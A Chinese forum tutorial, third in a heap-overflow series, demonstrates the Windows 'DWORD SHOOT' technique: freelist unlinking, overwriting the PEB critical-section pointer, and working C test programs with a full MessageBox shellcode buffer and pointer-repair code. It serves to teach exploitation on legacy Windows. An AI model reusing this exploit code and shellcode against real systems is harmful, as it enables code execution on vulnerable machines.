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[分享]堆溢出研究三
发表于: 2017-5-15 11:21 8596

[分享]堆溢出研究三

2017-5-15 11:21
8596

堆溢出研究一
堆溢出研究二  
堆溢出研究三

DWORD SHOOT 只是一种叫法,在堆溢出中即为任意内存任意数据读写  下面直接在在调试中进行体会 DWORD SHOOT
源码:

直接运行上述程序,来到断点出:如下图所示:
 
查看dump窗口中已经分配好的堆块:

接下来运行程序:

连续进行释放 h1 h3 h5  因为 三个堆块size= 16bytes (八字节块首 + 八字节块身) 因此会链接进入空表索引区的 freelist[2]。如下图所示:

堆块区:  

根据堆块索引区的前向后向指针,以及h1 h3 h5的指针对的链接关系,可以得到下图所示:


如上两图所示,只需将基地址:0x520000 修改为 0x360000 即可。 接下来继续执行代码:

此次申请会从freelist[2]中将空表中最后一个节点 h5卸下。如下图所示:


由以上两图可知,h5堆块已经被卸下。。

未申请内存之前 h5处的前向指针 0x360188 指向freelistp[2]0x360188  后向指针0x3606a8指向h3 0x3606a8
当h5被卸下后,h3的前后向指针分别是:0x360188  0x360688  (也就是将原来h5的前向指针的值,写入啦 以后向指针为地址的相对应的值中)    

当我们在程序中修改上述的 h5的后向指针为一个合法地址的时候,h5的前向指针就会被写入这个合法的地址当中。

目录 1. 栈溢出堆溢出利用思路比较 2. DWORD SHOOT长用的利用目标 3. 堆溢出利用代码

1.栈溢出覆盖面积大,可谓是地毯式覆盖,不精确 2.堆溢出利用比较精确的打击目标(但是部分时候利用的强度小)

PEB中线程同步函数的入口地址:每个进程的PEB 中都存放这一对线程同步函数指针,指向RtlEnterCriticalSection() 和RtLeaveCritcalSection(),并且在进程退出的时候会被ExitProcess()调用,如果能够通过DWORD SHOOT 修改这对指针中的任意一个,那么在程序退出的时候ExitProcess()将会被骗去执行我们的shellcode。由于PEB的位置始终不会变化(mov eax,fs[30]),所以这对指针相对于peb的偏移之中不变,这使得开发通用的exploit成为可能。  
本次采用peb中线程同步函数的入口地址 即 PEB(进程环境块) RtlEnterCriticalSection()。ExitProcess()函数在程序退出的时候会调用临界区函数,但是调用方法独特,是通过线程环境块中偏移 0x20处存放的函数指针来间接完成的。也就是偏移 0x7ffdf020处存放的指向RtlEnterCriticalSection()的指针。在0x7ffdf024处存放着RtlCriticalSection()的指针。(windows2003以后改写啦实现方法)。这里我们以地址0x7ffdf024处的地址为目标,构造劫持进程植入代码的全套动作:
用于实验的代码:

前向指针是Dword SHOOT是shellcode的地址 ,这里直接是 0x360688 后向指针是 shellcode要写入的目标地址,这里写入的是 peb中的函数指针地址  0x7ffdf020
整个缓冲区布置完以后是:

当运行此缓冲区的时候,会发现期待MessageBox()函数不会被调用,

此shellcode不会溢出成功的原因在于程序中不仅仅 ExitPcoess()函数会调用临界区,shellcode中的函数也会进行调用,一样会被骗。

直接一开始就修复dword shoot的指针重新布置shellcode:

"\xBB\x60\x20\xF8\x77"  //MOV EBX,77f82060 the address here may releated to your OS  此0x77f82060 的值需要自行调试得出 调试方法 直接 汇编 mov eax,fs[30]运行到此处,根据peb的结构 ,在偏移0x20处的值 。。
最终执行效果如图所示:  
 

1.利用不成功的同学可能是为根据自己的系统确认  peb 0x20偏移处的值 2.编译选项的原因 3.系统环境的原因等等。。。

本文只是简单利用PEB中的函数指针还有更多的目标可以用异常处理机制等都可以作为利用的对象,请在下面多进行尝试。
本文参考自《0day安全技术漏洞分析技术》 2017/5/15 11:12:57 


#include <windows.h>
main()
{
    HLOCAL h1, h2,h3,h4,h5,h6;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

    _asm int 3  //used to break the process
    //free the odd blocks to prevent coalesing
    HeapFree(hp,0,h1); 
    HeapFree(hp,0,h3); 
    HeapFree(hp,0,h5); //now freelist[2] got 3 entries

    //will allocate from freelist[2] which means unlink the last entry (h5)
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); 

    return 0;
}
    HeapFree(hp,0,h1); 
    HeapFree(hp,0,h3); 
    HeapFree(hp,0,h5); //now freelist[2] got 3 entries
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
#include <windows.h>
char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90....";
int main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
    __asm int 3 //used to break the process
    //memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
    memcpy(h1,shellcode,0x200); //overflow,0x200=512
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    return 0;
}
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"//尾块的块首
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";//
char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    //repaire the pointer which shooted by heap over run
    "\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
    "\xBB\x60\x20\xF8\x77"  //MOV EBX,77f82060 the address here may releated to your OS
    "\x89\x18"              //MOV DWORD PTR DS:[EAX],EBX
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
    "\x88\x06\x36\x00\x20\xf0\xfd\x7f";

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也就是说,当主进程退出时,ExitProcess()要调用临界区函数,从PEB中拿出了shellcode中的指针,执行shellcode,因为shellcode中对临界区函数处的地址进行了修复,所以会正常退出,否则会发生循环;

最后于 2020-5-9 08:56 被mb_zguptuxv编辑 ,原因:
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